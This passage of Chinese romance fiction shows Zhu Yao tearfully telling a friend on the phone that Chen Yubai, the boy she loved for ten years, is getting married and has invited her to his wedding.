那个消失了很久的C同学? “嗯。” “好事啊儿,怎么哭了?” “他说……”祝瑶抽泣着说不完整,几乎是一个字一个字往外蹦,“他,要,结,婚,了。” 顷刻间,电话那头陷入沉默。 “我不想哭的。”祝瑶控制不住自己,但是这些事情她从没有和别人袒露过心扉,憋了太久,忍了太久,她太想找一个人说一说了,仅仅只是说一说而已,“我其实也没有……没有奢望过想和他怎么样……一直都没有……从来都没有……也从来没有刻意在等什么……可是我也不知道为什么……听到他亲口告诉我这个消息还是会难受……为什么会这么难受呢……没有想过会得到,为什么还会难受啊?” “你知道吗?” “我喜欢了十年的男生,邀请我参加他的婚礼。” 那是她遇到过最好的人。 因为喜欢他,所以她也努力成为了很好很好的人。 她那么拼命地向他靠近,幻想每一步靠近都是美梦成真,可现实却是越来越远。 年少时的美梦永远不能够成真了。 像是把这辈子的泪水都流完了,祝瑶才抹干眼角,发自内心地扬起一个微笑。 陈逾白。 感谢你特别邀请,去见证你的爱情。